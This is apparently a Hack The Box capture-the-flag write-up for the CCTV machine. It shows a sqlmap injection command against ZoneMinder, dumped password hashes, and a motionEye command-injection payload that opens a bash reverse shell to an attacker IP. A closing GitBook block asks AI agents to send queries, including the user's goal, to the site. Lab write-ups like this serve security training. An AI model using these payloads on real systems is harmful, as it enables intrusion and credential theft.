> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-cctv.md).

# HTB - CCTV

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUFyePO3KI3SLWf6208nZ%2Fimage.png?alt=media&amp;token=f80068ba-d2d4-43fa-aff7-e7ffe70a1a49" alt=""><figcaption></figcaption></figure>

add the domain to hosts file.

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1O3r9EcA1evcSjSvodp5%2Fimage.png?alt=media&amp;token=98a944cc-1113-4727-9606-52f30ecf3b6e" alt=""><figcaption></figcaption></figure>

Clicking on staff login redirects to a login page

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fr13QptXjdzOoJPn3DsHY%2Fimage.png?alt=media&amp;token=bba046df-e6b0-4d4d-8f85-2fa0f8d10d99" alt=""><figcaption></figcaption></figure>

weak credentials like `admin : admin` gives successful access to console.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLHaKGU4u36sdLxtFjDIP%2Fimage.png?alt=media&amp;token=13e87873-ad8c-4413-a5b2-1d0125a9f7f0" alt=""><figcaption></figcaption></figure>

version if zone minder is leaked a `v1.37.63`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlLBSr38Xe9QcDSdSmftZ%2Fimage.png?alt=media&amp;token=d960c79a-2d56-4f73-8371-77611d15e285" alt=""><figcaption></figcaption></figure>

Looking for CVE related to the version of zone minder revealed that the zone minder is suffering from Boolean based SQL injection.

### CVE-2024-51482

{% embed url="<https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fh9QCEvUeeC6RmVNg80td%2Fimage.png?alt=media&amp;token=8f2a4d51-d80e-43ac-9ed9-4d84a66653f1" alt=""><figcaption></figcaption></figure>

the vulnerability is in the tid parameter.

Clicking on the view console option on the dashboard does the below request.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6wjVRXlpTMyIRjSWFZK9%2Fimage.png?alt=media&amp;token=9fc9e510-4621-4b09-9023-59f69a07b22c" alt=""><figcaption></figcaption></figure>

edit the request to check the vulnerability.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FKVxqx7v6pSl66bHkUIAT%2Fimage.png?alt=media&amp;token=28b26469-ebf4-4b75-9bff-d9f42dbc3e9e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fsd8lq3eRs7afUjddwf36%2Fimage.png?alt=media&amp;token=c97021b1-1a1c-418b-b65f-0c57bb22e6c8" alt=""><figcaption></figcaption></figure>

using a `'` in the tid parameter results in a 500 error a good sign for sql injection.

that said i will use sqlmap to test the vulnerability further.

```bash
──(ajay㉿kali)-[~]
└─$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
       --cookie="ZMSESSID=7mpss99nnq0pba38cokm15gmdd" \
       --headers="X-Requested-With: XMLHttpRequest\nAccept: application/json, text/javascript, */*; q=0.01\nReferer: http://cctv.htb/zm/?view=console" \
       --technique=T \
       --dbms=mysql \
       -p tid \
       --level=5 \
       --risk=3 \
       --tamper="space2comment,randomcase,between" \
       --time-sec=5 \
       --random-agent \
       --flush-session \
       --no-cast
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs6PRcEYqAN2ybdIEANtt%2Fimage.png?alt=media&amp;token=fc01d291-ee6c-496a-b596-8d9ce537267d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4OC382aSsgY1RpEVqQKb%2Fimage.png?alt=media&amp;token=5839accd-6645-4241-bf35-1f6c9f0d0741" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdfW1TJMW0P9zOjVWBWkr%2Fimage.png?alt=media&amp;token=2c721892-7ba9-4011-9daf-958e8a436846" alt=""><figcaption></figcaption></figure>

The time based sql injection is taking alot of time so poking around google found the tables and column names of the zm database.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4HPZtK9WworlPOcEIGL9%2Fimage.png?alt=media&amp;token=906f557f-9718-4892-bbb8-ac0557c92486" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDfFZWkNaIJ2e66mJ6bZx%2Fimage.png?alt=media&amp;token=4d72d5d3-c817-4b70-b2f0-255864feaba6" alt=""><figcaption></figcaption></figure>

that said i will dump the users table data.

running sqlmap on the table users found the hash for mark

```bash
Database: zm
Table: Users
[2 entries]
+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
+------------+--------------------------------------------------------------+
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRe3MTn3QfS1cqyduteB9%2Fimage.png?alt=media&amp;token=d4fbe6cd-c6c9-430c-899f-f51aed17c144" alt=""><figcaption></figcaption></figure>

## Shell as Mark

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6cBjo5BbBYjGbeaG4cV4%2Fimage.png?alt=media&amp;token=66ebe342-c177-406e-90ad-360e48bc07af" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6OvGXhjrcvoUUL7Tlsmd%2Fimage.png?alt=media&amp;token=bf777be4-46c0-4d07-abd9-e28aaf204cf9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVkSK40kKnijDdemOmiwf%2Fimage.png?alt=media&amp;token=9a5307e8-2c20-4f88-b769-f764acb0efa2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHDf61WggSFiFxfAalfAF%2Fimage.png?alt=media&amp;token=9e9cefbd-c19e-4e92-9ac6-ad0322e3aaaa" alt=""><figcaption></figcaption></figure>

curl to port 8765 reveals a motion eye internal service that said i will port forward it to my machine and investigate further.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXJwB9toncbhT9beVwX8V%2Fimage.png?alt=media&amp;token=db97f4dc-1414-4b9c-abb7-6f57389276b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSld3YJ802wZtlkuVQiwY%2Fimage.png?alt=media&amp;token=e83798bb-2415-477b-9d92-4b450fcc7a42" alt=""><figcaption></figcaption></figure>

The configuration of motion is saved on the machine somewhere which can leak credentials.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXbK8wwjQzLx7ZmPTMY7l%2Fimage.png?alt=media&amp;token=5592a086-664b-4c63-9a00-daa2647b3af1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8vwfuT8fiyPXEObuiRZ9%2Fimage.png?alt=media&amp;token=b89641dd-e83b-4582-b164-45f7b0a3e27f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsyPB7ATto79MkGBg4GDn%2Fimage.png?alt=media&amp;token=fd8252c1-f4a8-4928-a7ce-d9058a84987c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxKgBFChv5aZXh6Y2FBKm%2Fimage.png?alt=media&amp;token=b9239d25-3c02-47a0-bebe-9c21580382d6" alt=""><figcaption></figcaption></figure>

now using these credential i can login the motioneye application.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4LONHBR53viBg4bWlNwc%2Fimage.png?alt=media&amp;token=95640eca-75e4-4db1-952d-27467e45a374" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLzeMn2OkJk18lKuhYcER%2Fimage.png?alt=media&amp;token=42cbe5d1-1068-4a74-956e-e25143316c69" alt=""><figcaption></figcaption></figure>

### MotionEye RCE

The `motionEye` web interface allows administrators to change the `image_file_name` configuration parameter. The application writes this value directly to a configuration file without sanitizing it. The underlying `motion` daemon then evaluates this value as a shell filename pattern, meaning any command placed inside `$(...)` will be executed when a new snapshot is taken

In your browser's developer console on the motionEye dashboard, run the following command to disable front-end checks

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FKj8iEvUBmS5tNZR80YiT%2Fimage.png?alt=media&amp;token=113b7c4f-860e-4f17-a9dc-e7bc3aee1932" alt=""><figcaption></figcaption></figure>

Navigate to Settings → Still Images and paste the following into the Image File Name field:

```
$(bash -c 'bash -i >& /dev/tcp/<your_attacker_ip>/4444 0>&1').%Y-%m-%d-%H-%M-%S
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLCqXUa36Bj5E8QoGOQU9%2Fimage.png?alt=media&amp;token=efa2aa58-72fe-4177-bca8-8136b84d7654" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYMUF8sycya9cJHKDn5iv%2Fimage.png?alt=media&amp;token=ea324787-3e98-4b00-9db9-8a44b726f011" alt=""><figcaption></figcaption></figure>

click the snapshot button to trigger the exploit.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQVRk6trDnqGFIbcEd1Vs%2Fimage.png?alt=media&amp;token=b347283a-37ad-4e9a-8aaa-9b6b8e5d7f32" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqjezmOXWy9gi483uIxmD%2Fimage.png?alt=media&amp;token=5b826e77-2e6f-4e45-9639-850b40bf0482" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FD962g9NvV5wCay7ItRVv%2Fimage.png?alt=media&amp;token=f2529dcb-9f71-44c5-8b45-4d0256bc106f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-cctv.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
